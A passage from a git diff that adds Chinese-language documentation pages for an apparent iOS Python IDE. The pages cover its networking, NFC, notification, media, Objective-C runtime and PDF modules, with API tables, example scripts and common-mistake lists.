url音频 URL、本地路径或 file://
title / name歌曲标题
artist / singer艺术家
album专辑名
duration可选时长;真实时长准备好后以播放器为准
artwork_path本地封面路径
artwork_url / cover / pic远程封面 URL,宿主会缓存后用于 Now Playing
id业务侧歌曲 ID,可用于你的列表选中状态
+
+

#API 参考

+

#配置

+

configure(now_playing=None, remote_commands=None, background=None, persist=None, auto_advance=None, progress_interval=None, can_next=None, can_previous=None)

+
参数说明
now_playing是否同步锁屏 / 控制中心元数据
remote_commands是否响应系统播放、暂停、上一首、下一首、seek
background是否配置后台播放音频会话
persist是否保存队列、进度和播放模式
auto_advance播放结束后是否按模式自动切歌
progress_interval进度事件间隔,最小 0.25 秒
can_next / can_previous覆盖系统按钮可用状态
+

#队列

+
API说明
set_queue(songs, start_index=0, play_mode=None, autoplay=False, preload_count=0)替换队列并加载当前歌曲;preload_count 会预备后面 N 首已解析 URL
queue()返回 {queue, current_index, count}
current()返回当前歌曲
add(song, play_next=False, autoplay=False)追加或插到下一首
remove(index)删除歌曲
move(from_index, to_index)移动歌曲
clear()停止并清空队列
prepare(song, index=None)预备一首已有真实 url 的歌曲,降低之后切到它时的加载时间
prefetch_next(count=3)按当前队列和播放模式预备后面几首
preload_state()返回预加载池状态:countpreload_countitems
+

#播放

+
API说明
play()播放当前歌曲
pause()暂停
toggle()播放 / 暂停切换
stop()停止并回到 0 秒
next()下一首
previous()上一首;当前进度超过 3 秒时先回到开头
seek(seconds)跳转
set_play_mode(mode)sequence / repeat_all / repeat_one / shuffle
set_volume(volume)0.0–1.0
set_rate(rate)0.25–3.0
+

#状态与恢复

+
API说明
state()返回完整状态:stateplayingcurrentqueueelapseddurationerror
restore(autoplay=False)恢复上次队列和进度,默认不自动播放
+

#事件

+

on_event(callback, events=None) 订阅事件。callback 可以是 Python 函数或 callback id;函数收到 JSON 字符串。

+

常用事件:

+
事件说明
ready当前歌曲可播放
play / pause / stop播放状态变化
current / queue当前歌曲或队列变化
ended当前歌曲结束
progress进度更新
preload发起预加载
prepared某首预加载歌曲已准备好
item_failed某首预加载歌曲准备失败
seek跳转
error播放错误
restore恢复完成
remote_command锁屏 / 控制中心按钮触发
+
+
+ python +
+
+
import json
+import music_player
+
+def on_player_event(payload):
+    event = json.loads(payload)
+    print(event["event"], event.get("state"), event.get("elapsed"))
+
+music_player.on_event(on_player_event, events=["play", "pause", "remote_command"])
+
+
+

#和相关模块的分工

+
需求用哪个
自己的音乐队列、锁屏按钮、后台播放music_player
播放单个 URL 音频 / 视频avplayer
AppUI 内嵌视频控件appui.PlayerController + appui.VideoPlayer
只发布锁屏标题 / 封面 / 进度now_playing
Apple Music 资料库 / MusicKitmusic
短音效sound
大文件后台下载background_download
+
+

#常见错误

+
错误写法后果修正
body()set_queue()play()刷新时反复重载和播放放到按钮回调或一次性初始化
music 播放自己的 MP3 URL模块不匹配music_playeravplayer
每个页面自己维护队列页面关闭后状态容易散music_player.state() / restore()
不处理 error 事件网络或格式失败时 UI 卡住订阅 error 并显示失败状态
不想锁屏显示但没配置控制中心出现播放器卡片播放前 configure(now_playing=False, remote_commands=False)
+

#预期效果

+

运行后,歌曲队列由宿主全局播放器维护;关闭页面再恢复时可通过 restore() 找回上次队列和进度。启用系统集成时,锁屏和控制中心会显示歌曲信息,并把系统按钮回调给 miniapp。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/network-module/index.html b/docs/docs/pages/network-module/index.html new file mode 100644 index 0000000..c968904 --- /dev/null +++ b/docs/docs/pages/network-module/index.html @@ -0,0 +1,479 @@ + + + + + + network - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

network

+

原生 HTTP 请求、连接状态和下载。

+
+ +
+

原生 HTTP 客户端:发起 GET/POST 等请求、判断网络状态、下载文件到本地路径。

+
边界:适合 REST API 和小文件下载。大文件、后台传输或复杂上传请看系统能力规划;响应体在内存中,超大响应注意内存占用。
+

#模块概览

+
说明
导入import network
适合做什么拉取 JSON API、提交表单、检查联网、下载文件
调用时机放在按钮回调或加载任务;不要写在 AppUI body()
推荐顺序is_connected() 提示 → get/post → 检查 response.ok → 解析 json()
蜂窝/低数据is_expensive() / is_constrained() 为真时避免自动下大文件
+
+

#快速开始

+

下面脚本检查网络,请求 GitHub API 并打印仓库名:

+
+
+ python +
+
+
import network
+
+if not network.is_connected():
+    print("当前无网络")
+else:
+    response = network.get(
+        "https://api.github.com/repos/python/cpython",
+        timeout=15,
+    )
+    if response.ok:
+        data = response.json()
+        print(data["full_name"], "⭐", data["stargazers_count"])
+    else:
+        print("请求失败:", response.status, response.text[:200])
+
+
+

#AppUI 示例

+

请求放在按钮回调里,加载、成功、失败都写回界面。

+
+
+ python +
+
+
import appui
+import network
+
+state = appui.State(
+    status="未请求",
+    network="—",
+    detail="点击按钮开始",
+)
+
+
+def refresh_network_info():
+    if not network.is_connected():
+        state.network = "离线"
+        return
+    conn = network.connection_type()
+    flags = []
+    if network.is_expensive():
+        flags.append("计费网络")
+    if network.is_constrained():
+        flags.append("低数据模式")
+    suffix = f"({' · '.join(flags)})" if flags else ""
+    state.network = f"{conn}{suffix}"
+
+
+def fetch_repo():
+    refresh_network_info()
+    if not network.is_connected():
+        state.batch_update(status="离线", detail="当前没有可用网络")
+        return
+
+    state.status = "请求中..."
+    response = network.get(
+        "https://api.github.com/repos/python/cpython",
+        timeout=15,
+    )
+    if not response.ok:
+        state.batch_update(status="请求失败", detail=str(response.status))
+        return
+
+    try:
+        data = response.json()
+    except Exception as error:
+        state.batch_update(status="解析失败", detail=str(error))
+        return
+
+    stars = data.get("stargazers_count", "—")
+    state.batch_update(
+        status="请求成功",
+        detail=f"{data.get('full_name', '')} · ⭐ {stars}",
+    )
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("网络", [
+                appui.LabeledContent("连接", value=state.network),
+                appui.LabeledContent("状态", value=state.status),
+                appui.Text(state.detail).foreground_color("secondaryLabel"),
+            ]),
+            appui.Section("操作", [
+                appui.Button("获取 CPython 仓库信息", action=fetch_repo)
+                .button_style("bordered_prominent"),
+            ], footer="需要网络;真机测试最可靠。"),
+        ]).navigation_title("网络请求")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
is_connected()是否有可用网络 → bool
connection_type()wifi / cellular / ethernet / none / other
is_expensive()是否计费网络(蜂窝/热点)
is_constrained()是否低数据模式
get/post/put/delete/patch(...)HTTP 快捷方法 → Response
request(method, url, ...)通用 HTTP 请求
download(url, dest_path)下载文件 → bool
+

#网络状态

+
+
+ python +
+
+
import network
+
+if network.is_connected():
+    print(network.connection_type())
+    if network.is_expensive():
+        print("计费网络,避免大流量")
+
+
API说明
is_connected()当前能否联网
connection_type()连接类型字符串
is_expensive()蜂窝或热点等
is_constrained()系统低数据模式
+

#HTTP 请求

+

request(method, url, headers=None, body=None, json=None, timeout=30) — 通用请求。

+

快捷方法:getpostputdeletepatch,参数相同。

+
+
+ python +
+
+
response = network.get("https://httpbin.org/get", timeout=15)
+response = network.post(
+    "https://httpbin.org/post",
+    json={"title": "Hello"},
+    headers={"Accept": "application/json"},
+    timeout=20,
+)
+
+

Response 对象:

+
属性/方法说明
statusHTTP 状态码
ok200–299 时为 True
text响应正文字符串
json()解析 JSON;非 JSON 会抛异常
headers响应头字典
+
+
+ python +
+
+
if response.ok:
+    data = response.json()
+else:
+    print(response.status, response.text[:200])
+
+

#下载

+

download(url, dest_path, timeout=120) — 下载到本地路径,成功返回 True

+
+
+ python +
+
+
ok = network.download(
+    "https://httpbin.org/json",
+    "report.json",
+    timeout=30,
+)
+
+

下载失败返回 False;路径需脚本可写。配合 photossave_video 时,先 download 再传本地路径。

+
+

#常见错误

+
错误写法后果修正
body() 里发请求每次刷新都联网放进按钮回调
不检查 response.ok把错误当成功解析先判断 okjson()
对非 JSON 直接 json()解析异常try/except 或改读 text
蜂窝网络自动下大文件流量浪费检查 is_expensive() 并提示用户
+
+

#相关文档

+
文档用途
photos下载视频后 save_video
weatherWeatherKit 联网查询
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/nfc-module/index.html b/docs/docs/pages/nfc-module/index.html new file mode 100644 index 0000000..bddbc26 --- /dev/null +++ b/docs/docs/pages/nfc-module/index.html @@ -0,0 +1,461 @@ + + + + + + nfc - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

nfc

+

NFC 标签读取和 NDEF 写入。

+
+ +
+

NFC 标签读写:扫描 NDEF 记录、写入文本或 URI。需要支持 NFC 的 iPhone 硬件。

+
边界:仅读写 NDEF 格式标签;不含银行卡支付、门禁卡模拟。扫描/写入会弹出系统 NFC 会话,必须放在按钮回调里,不要在 body() 中自动触发。
+

#模块概览

+
说明
导入import nfc
适合做什么读取标签内容、写入链接/文本、物联网配对
调用时机scan() / write() 放在按钮回调
推荐顺序is_available()scan()write(records)
记录格式typetexturi,配合 payload 字符串
+
+

#快速开始

+

下面脚本检查 NFC 是否可用,并尝试扫描标签(需将手机靠近标签):

+
+
+ python +
+
+
import nfc
+
+if not nfc.is_available():
+    print("此设备不支持 NFC 读取")
+else:
+    tag = nfc.scan(message="请将 iPhone 靠近 NFC 标签", timeout=30)
+    if tag:
+        for rec in tag.get("records", []):
+            print(rec.get("type"), rec.get("payload"))
+    else:
+        print("扫描失败或已取消")
+
+

写入一条文本记录:

+
+
+ python +
+
+
import nfc
+
+records = [{"type": "text", "payload": "Hello from PythonIDE"}]
+ok = nfc.write(records, message="靠近标签以写入")
+print("写入成功" if ok else "写入失败")
+
+
+

#AppUI 示例

+

扫描与写入分步放在按钮回调;界面只展示最近一次结果。

+
+
+ python +
+
+
import appui
+import nfc
+
+state = appui.State(
+    available="—",
+    last_result="尚未操作",
+    detail="点击按钮开始",
+)
+
+
+def refresh_available():
+    state.available = "是" if nfc.is_available() else "否"
+
+
+def scan_tag():
+    refresh_available()
+    if state.available != "是":
+        state.detail = "设备不支持 NFC"
+        return
+
+    tag = nfc.scan(message="请将 iPhone 靠近标签", timeout=30)
+    if not tag:
+        state.batch_update(last_result="扫描失败", detail="超时或用户取消")
+        return
+
+    records = tag.get("records", [])
+    lines = [f"{r.get('type')}: {r.get('payload')}" for r in records]
+    state.batch_update(
+        last_result=f"读到 {len(records)} 条记录",
+        detail="\n".join(lines) if lines else "空标签",
+    )
+
+
+def write_demo():
+    refresh_available()
+    if state.available != "是":
+        state.detail = "设备不支持 NFC"
+        return
+
+    records = [{"type": "uri", "payload": "https://pythonide.xin"}]
+    ok = nfc.write(records, message="靠近标签以写入链接")
+    state.batch_update(
+        last_result="写入成功" if ok else "写入失败",
+        detail="https://pythonide.xin",
+    )
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("NFC", [
+                appui.Button("扫描标签", action=scan_tag)
+                .button_style("bordered_prominent"),
+                appui.Button("写入示例链接", action=write_demo),
+            ]),
+            appui.Section("状态", [
+                appui.LabeledContent("可用", value=state.available),
+                appui.LabeledContent("结果", value=state.last_result),
+                appui.Text(state.detail).foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("NFC")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
is_available()设备是否支持 NFC 读取 → bool
scan(message, timeout=30)弹出扫描会话 → {"records": [...]}None
write(records, message)写入 NDEF 记录 → bool
+

#可用性

+

is_available() — 检查硬件与系统是否支持 NFC 读取。

+
+
+ python +
+
+
if nfc.is_available():
+    ...
+
+

#扫描

+

scan(message="Hold your iPhone near an NFC tag", timeout=30.0) — 启动系统 NFC 扫描会话,阻塞直到完成、超时或取消。

+

返回 {"records": [{"type": "text"|"uri", "payload": "..."}, ...]},失败返回 None

+
+
+ python +
+
+
tag = nfc.scan(message="请将 iPhone 靠近标签", timeout=30)
+
+

#写入

+

write(records, message="Hold your iPhone near an NFC tag to write") — 将 NDEF 记录写入标签。

+
字段说明
type"text""uri"
payload文本或 URL 字符串
+
+
+ python +
+
+
nfc.write([
+    {"type": "text", "payload": "会议室 A"},
+    {"type": "uri", "payload": "https://example.com"},
+])
+
+
+

#常见错误

+
错误写法后果修正
未检查 is_available()在不支持设备上崩溃先判断可用性
body() 里调用 scan()每次刷新都弹 NFC 会话放进按钮回调
records 缺少 type/payload写入失败按 NDEF 格式构造列表
用 NFC 做支付/门禁模拟超出模块能力使用对应系统 App 或专用 SDK
+
+

#相关文档

+
文档用途
bluetooth低功耗蓝牙通信
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/notification-module/index.html b/docs/docs/pages/notification-module/index.html new file mode 100644 index 0000000..572ed65 --- /dev/null +++ b/docs/docs/pages/notification-module/index.html @@ -0,0 +1,475 @@ + + + + + + notification - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

notification

+

本地通知权限、定时通知和角标管理。

+
+ +
+

本地通知:申请权限、定时提醒、管理待发送通知、设置角标。不包含远程推送。

+
边界:只做本机本地通知。远程推送不在本模块;锁屏实时状态请看 live_activity
+

#模块概览

+
说明
导入import notification
适合做什么稍后提醒、番茄钟、每日复盘、角标计数
调用时机放在按钮回调里;不要写在 AppUI body()
推荐顺序查/申请权限 → scheduleschedule_at_date → 需要时用 remove_* / set_badge
标识符identifier 保持稳定,方便取消或覆盖同一条通知
+
+

#快速开始

+

下面脚本申请权限,并在 60 秒后发送一条通知:

+
+
+ python +
+
+
import notification
+
+result = notification.request_permission()
+if not result.get("granted"):
+    print("未授权:", result)
+else:
+    print(notification.schedule(
+        "demo.reminder",
+        "休息一下",
+        "站起来活动 1 分钟",
+        delay=60,
+    ))
+
+
+

#AppUI 示例

+

把申请权限、调度、取消都放进按钮回调;界面只展示当前状态。

+
+
+ python +
+
+
import appui
+import notification
+
+REMINDER_ID = "demo.reminder"
+
+state = appui.State(
+    auth="未查询",
+    pending="—",
+    message="点击按钮开始",
+)
+
+
+def refresh_status():
+    state.auth = str(notification.authorization_status())
+    state.pending = str(notification.pending_count())
+
+
+def schedule_one_minute():
+    perm = notification.request_permission()
+    if not perm.get("granted"):
+        state.message = "未获得通知权限"
+        return
+
+    result = notification.schedule(
+        REMINDER_ID,
+        "稍后提醒",
+        "1 分钟后见",
+        delay=60,
+    )
+    refresh_status()
+    state.message = f"已调度: {result}"
+
+
+def cancel_reminder():
+    notification.remove_pending(REMINDER_ID)
+    refresh_status()
+    state.message = "已取消待发送提醒"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("提醒", [
+                appui.Button("1 分钟后提醒", action=schedule_one_minute)
+                .button_style("bordered_prominent"),
+                appui.Button("取消这条提醒", action=cancel_reminder, role="destructive"),
+            ]),
+            appui.Section("状态", [
+                appui.LabeledContent("授权", value=state.auth),
+                appui.LabeledContent("待发送", value=state.pending),
+                appui.Text(state.message).foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("本地通知")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
request_permission()申请权限 → {"granted": bool}
authorization_status()查询授权 → 如 authorized / denied
schedule(...)延迟 delay 秒后发送
schedule_at_date(...)指定年月日时分发送
remove_pending(id)取消一条待发送
remove_all_pending()取消全部待发送
pending_count()待发送数量
pending_identifiers()待发送 ID 列表
set_badge(n)设置角标,0 清除
+

#权限

+

request_permission() — 弹出系统授权,等待用户选择。

+
+
+ python +
+
+
result = notification.request_permission()
+if result.get("granted"):
+    ...
+
+

authorization_status() — 只查询,不弹窗。

+
+
+ python +
+
+
status = notification.authorization_status()
+# authorized | denied | not_determined | provisional
+
+

也可用 permission 查询:permission.status("notifications")

+

#调度

+

schedule(identifier, title, body, delay=5.0, sound=True, badge=0) — 相对延迟发送。

+
+
+ python +
+
+
notification.schedule(
+    "stretch.break",
+    "活动一下",
+    "站起来伸展 1 分钟",
+    delay=60,
+    sound=True,
+    badge=1,
+)
+
+
参数说明
identifier稳定 ID
title / body标题与正文
delay延迟秒数
badge0 表示不修改角标
+

schedule_at_date(identifier, title, body, year, month, day, *, hour=0, minute=0, repeats=False) — 绝对时间发送。

+
+
+ python +
+
+
notification.schedule_at_date(
+    "daily.review",
+    "每日复盘",
+    "整理今天的笔记",
+    2026, 6, 10,
+    hour=21,
+    minute=30,
+)
+
+
注意:参数是 year, month, day, hour, minute,不是 Unix 时间戳。
+

#待发送与角标

+
API说明
remove_pending(identifier)取消指定 ID
remove_all_pending()取消全部
pending_count()返回 int
pending_identifiers()返回 list
set_badge(number)设置角标;0 清除
+
+
+ python +
+
+
notification.remove_pending("stretch.break")
+print(notification.pending_count())
+print(notification.pending_identifiers())
+notification.set_badge(3)
+
+
+

#常见错误

+
错误写法后果修正
未授权就 schedule通知可能不出现request_permission(),检查 granted
schedule_at_date 传时间戳参数不匹配传年月日时分
每次随机 identifier无法取消旧通知使用固定 ID
body() 里调度刷新时反复触发放进按钮回调
+
+

#相关文档

+
文档用途
permission统一查询 notifications 权限
live_activity锁屏与灵动岛实时活动
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/now-playing-module/index.html b/docs/docs/pages/now-playing-module/index.html new file mode 100644 index 0000000..bb07add --- /dev/null +++ b/docs/docs/pages/now-playing-module/index.html @@ -0,0 +1,438 @@ + + + + + + now_playing - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

now_playing

+

锁屏与控制中心的正在播放信息。

+
+ +
+

锁屏与控制中心「正在播放」元数据:标题、艺术家、封面、进度。配合 soundavplayer 播放自有音频时使用。

+
边界:只发布元数据到系统 Now Playing 卡片,不替代音频播放本身。未实际播放时卡片可能不出现;远程流媒体优先用 avplayer 自带控制。
+

#模块概览

+
说明
导入import now_playing
适合做什么播客/音乐 App 锁屏信息、进度条同步
调用时机开始播放后 set_info;进度变化时 update_elapsed
推荐顺序开始播放 → set_info → 定时/回调 update_elapsed → 结束 clear
封面artwork_path 为本地图片路径,无效则只显示文字
+
+

#快速开始

+

发布元数据并更新进度:

+
+
+ python +
+
+
import now_playing
+
+try:
+    now_playing.set_info(
+        title="第一集",
+        artist="播客名称",
+        album="第一季",
+        duration=3600,
+        elapsed=120,
+        artwork_path="/path/cover.jpg",
+    )
+    now_playing.update_elapsed(180)
+finally:
+    now_playing.clear()
+
+
+

#AppUI 示例

+

元数据发布与进度更新放在按钮回调;配合本地播放时卡片更稳定。

+
+
+ python +
+
+
import appui
+import now_playing
+
+state = appui.State(
+    title="PythonIDE 演示",
+    artist="播客",
+    elapsed="120",
+    status="未发布",
+)
+
+session = {"elapsed": 120.0, "duration": 3600.0}
+
+
+def publish_card():
+    session["elapsed"] = float(state.elapsed) if state.elapsed else 0.0
+    now_playing.set_info(
+        title=state.title,
+        artist=state.artist,
+        duration=session["duration"],
+        elapsed=session["elapsed"],
+    )
+    state.status = "已发布到锁屏卡片"
+
+
+def advance_progress():
+    session["elapsed"] = min(session["elapsed"] + 30, session["duration"])
+    state.elapsed = str(int(session["elapsed"]))
+    now_playing.update_elapsed(session["elapsed"])
+    state.status = f"进度 {int(session['elapsed'])}s"
+
+
+def clear_card():
+    now_playing.clear()
+    state.status = "已清除"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("元数据", [
+                appui.TextField("标题", text=state.title),
+                appui.TextField("艺术家", text=state.artist),
+                appui.TextField("进度(秒)", text=state.elapsed),
+            ]),
+            appui.Section("控制", [
+                appui.Button("发布到锁屏", action=publish_card)
+                .button_style("bordered_prominent"),
+                appui.Button("进度 +30 秒", action=advance_progress),
+                appui.Button("清除", action=clear_card, role="destructive"),
+            ]),
+            appui.Section("状态", [
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ], footer="需配合 sound/avplayer 实际播放,锁屏卡片才稳定出现。"),
+        ]).navigation_title("正在播放")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
set_info(title, artist='', album='', duration=0, elapsed=0, artwork_path=None, playback_rate=1.0)发布完整元数据
update_elapsed(seconds, playback_rate=1.0)仅更新已播放秒数
clear()清除锁屏卡片信息
NowPlayingError原生能力入口失败异常
+

#set_info

+
+
+ python +
+
+
now_playing.set_info(
+    title="曲目名",
+    artist="歌手",
+    album="专辑",
+    duration=240.0,
+    elapsed=12.0,
+    artwork_path="/path/cover.jpg",
+    playback_rate=1.0,
+)
+
+
参数说明
duration / elapsed总时长与当前进度(秒)
artwork_path本地封面图路径,可选
playback_rate播放速率,暂停时可设 0
+

#update_elapsed / clear

+
+
+ python +
+
+
now_playing.update_elapsed(95.5)
+now_playing.clear()
+
+
+

#常见错误

+
错误写法后果修正
set_info 不播放音频锁屏卡片可能不出现配合 sound.Playeravplayer
封面路径无效无封面图检查沙盒内文件路径
忘记 clear()停止后仍显示旧信息播放结束或页面关闭时清除
body() 里自动发布每次刷新重复设置放进按钮或播放回调
+
+

#相关文档

+
文档用途
sound本地音频播放
avplayer音视频流播放
audio_session音频会话类别
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/objc-util-module/index.html b/docs/docs/pages/objc-util-module/index.html new file mode 100644 index 0000000..3ae70fc --- /dev/null +++ b/docs/docs/pages/objc-util-module/index.html @@ -0,0 +1,420 @@ + + + + + + objc_util - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

objc_util

+

Objective-C Runtime 调用与系统框架访问。

+
+ +
+

Objective-C Runtime 访问层:调用系统类、selector、Foundation/UIKit 对象与 block。

+
边界高级能力入口;拍照、网络、定位等优先用已封装模块。UIKit 调用须 @on_main_thread;block 回调用 retain_global 保活。
+

#模块概览

+
说明
导入from objc_util import ObjCClass, ns, on_main_thread, ...
适合做什么访问未封装系统 API、转换 ObjC 对象、创建 block
调用时机UI 相关放主线程;长期回调对象要保活
推荐顺序确认无公开模块 → ObjCClass → 调用 selector
SelectorPython 方法名中 _ 对应 ObjC 的 :
+
+

#快速开始

+

读取设备信息:

+
+
+ python +
+
+
from objc_util import ObjCClass
+
+UIDevice = ObjCClass("UIDevice")
+device = UIDevice.currentDevice()
+print(device.name())
+print(device.systemVersion())
+
+

Python 对象转 Objective-C:

+
+
+ python +
+
+
from objc_util import ObjCClass, ns, nsurl
+
+payload = ns({"name": "Ada", "level": 3})
+url = nsurl("https://www.python.org")
+print(url.absoluteString())
+
+
+

#AppUI 示例

+

通过 Runtime 读取设备名(只读、放按钮回调)。

+
+
+ python +
+
+
import appui
+from objc_util import ObjCClass, on_main_thread
+
+state = appui.State(
+    device_name="—",
+    os_version="—",
+    status="点击读取",
+)
+
+
+@on_main_thread
+def read_device():
+    UIDevice = ObjCClass("UIDevice")
+    device = UIDevice.currentDevice()
+    state.device_name = str(device.name())
+    state.os_version = str(device.systemVersion())
+    state.status = "已读取"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("设备", [
+                appui.Button("读取设备信息", action=read_device)
+                .button_style("bordered_prominent"),
+            ]),
+            appui.Section("结果", [
+                appui.LabeledContent("名称", value=state.device_name),
+                appui.LabeledContent("系统", value=state.os_version),
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("ObjC Runtime")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
分组API
RuntimeObjCClassObjCInstanceselload_framework
转换ns(py_obj)nsurl(url_or_path)nsdata_to_bytesuiimage_to_png
线程on_main_thread(func)
生命周期retain_global(obj)release_global(obj)
BlockObjCBlock(func, restype=None, argtypes=None)
结构体CGPointCGRectCGSizeUIEdgeInsetsNSRange
+

#ObjCClass 与 selector

+
+
+ python +
+
+
NSDictionary = ObjCClass("NSDictionary")
+obj = NSDictionary.dictionaryWithObject_forKey_("value", "key")
+# 对应 dictionaryWithObject:forKey:
+
+

#主线程

+
+
+ python +
+
+
from objc_util import ObjCClass, on_main_thread
+
+UIColor = ObjCClass("UIColor")
+
+@on_main_thread
+def blue():
+    return UIColor.systemBlueColor()
+
+

#常用转换

+
函数用途
ns({"a": 1})dict/list/str → Foundation 对象
nsurl("https://...")创建 NSURL
nsdata_to_bytes(data)NSData → bytes
+
+

#常见错误

+
错误写法后果修正
未封装能力直接用 Runtime脆弱、难维护优先 photosnetwork
UIKit 非主线程调用崩溃或无效@on_main_thread
block 未 retain_global回调失效保活到流程结束
猜测 selector 签名运行时错误对照 Apple 文档逐项验证
调用私有 API审核风险仅用公开 API
+
+

#相关文档

+
文档用途
visionOCR(内部可用 objc_util)
appui声明式 UI,替代手写 UIKit
原生能力入口已封装模块索引
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/pdf-module/index.html b/docs/docs/pages/pdf-module/index.html new file mode 100644 index 0000000..f6b009f --- /dev/null +++ b/docs/docs/pages/pdf-module/index.html @@ -0,0 +1,432 @@ + + + + + + pdf - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

pdf

+

创建、读取、渲染和预览 PDF 文档。

+
+ +
+

PDF 创建、读取、渲染与预览:文本/图片/HTML 转 PDF、提取文字、单页截图、QuickLook 预览。

+
边界:操作本地文件路径;preview() 弹出系统 QuickLook 查看器。不含 PDF 表单填写、数字签名等高级编辑。
+

#模块概览

+
说明
导入import pdf
适合做什么导出报告、相册转 PDF、提取文字、预览文档
调用时机创建/读取放按钮回调;preview() 会弹全屏查看器
推荐顺序创建 → info() 确认页数 → preview()extract_text()
路径使用 App 可写目录(如 ~/Documents
+
+

#快速开始

+

从纯文本创建 PDF 并读取元数据:

+
+
+ python +
+
+
import os
+import pdf
+
+out = os.path.join(os.path.expanduser("~/Documents"), "note.pdf")
+pdf.create_from_text(out, "第一行\n第二行", title="笔记")
+print(pdf.info(out))
+print(pdf.extract_text(out))
+
+

从 HTML 渲染:

+
+
+ python +
+
+
import os
+import pdf
+
+path = os.path.join(os.path.expanduser("~/Documents"), "report.pdf")
+pdf.from_html("<h1>周报</h1><p>本周进展良好。</p>", path)
+pdf.preview(path)
+
+
+

#AppUI 示例

+

创建与预览放在按钮回调;界面展示页数与提取摘要。

+
+
+ python +
+
+
import appui
+import os
+import pdf
+
+DOC = os.path.join(os.path.expanduser("~/Documents"), "pdf-demo.pdf")
+
+state = appui.State(
+    pages="—",
+    preview="未创建",
+    snippet="点击按钮生成示例 PDF",
+)
+
+
+def create_demo():
+    pdf.create_from_text(
+        DOC,
+        "PythonIDE PDF 示例\n\n这是第二段文字。",
+        title="PDF 演示",
+    )
+    meta = pdf.info(DOC) or {}
+    text = pdf.extract_text(DOC) or ""
+    state.batch_update(
+        pages=str(meta.get("page_count", "—")),
+        preview="已生成",
+        snippet=text[:120] + ("…" if len(text) > 120 else ""),
+    )
+
+
+def open_preview():
+    if not os.path.exists(DOC):
+        state.snippet = "请先生成 PDF"
+        return
+    pdf.preview(DOC)
+    state.preview = "已打开 QuickLook"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("操作", [
+                appui.Button("生成示例 PDF", action=create_demo)
+                .button_style("bordered_prominent"),
+                appui.Button("QuickLook 预览", action=open_preview),
+            ]),
+            appui.Section("状态", [
+                appui.LabeledContent("页数", value=state.pages),
+                appui.LabeledContent("文件", value=state.preview),
+                appui.Text(state.snippet).foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("PDF")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
create_from_text(path, text, title=None)纯文本 → PDF
create_from_images(path, image_paths)多图 → 多页 PDF
from_html(html, path)HTML 字符串 → PDF
extract_text(path)提取全文
info(path)元数据 page_count / title / author / encrypted
page_image(path, index=0, scale=2.0)单页渲染为 PNG bytes
preview(path)弹出 QuickLook 预览
+

#创建

+
+
+ python +
+
+
pdf.create_from_text("/path/note.pdf", "Hello\nWorld", title="Note")
+pdf.create_from_images("/path/album.pdf", ["/path/a.jpg", "/path/b.jpg"])
+pdf.from_html("<h1>Report</h1>", "/path/report.pdf")
+
+

#读取

+

info(path) — 返回元数据字典。

+

extract_text(path) — 返回完整文本字符串。

+

page_image(path, index=0, scale=2.0) — 将指定页渲染为 PNG 原始字节;失败抛 PDFError

+

#预览

+

preview(path) — 呈现原生 QuickLook 查看器,返回 True 表示成功弹出。

+

#异常

+

PDFError(message, code=None) — 原生能力入口不可用或操作失败时抛出。

+
+

#常见错误

+
错误写法后果修正
路径不可写创建失败使用 ~/Documents 等沙盒目录
body() 里调用 preview()每次刷新弹查看器放进按钮回调
page_image 结果当路径用类型错误返回值是 bytes,需自行保存
期望编辑已有 PDF超出能力仅支持创建、读取、渲染
+
+

#相关文档

+
文档用途
photos选图后 create_from_images
share生成后通过分享面板发送
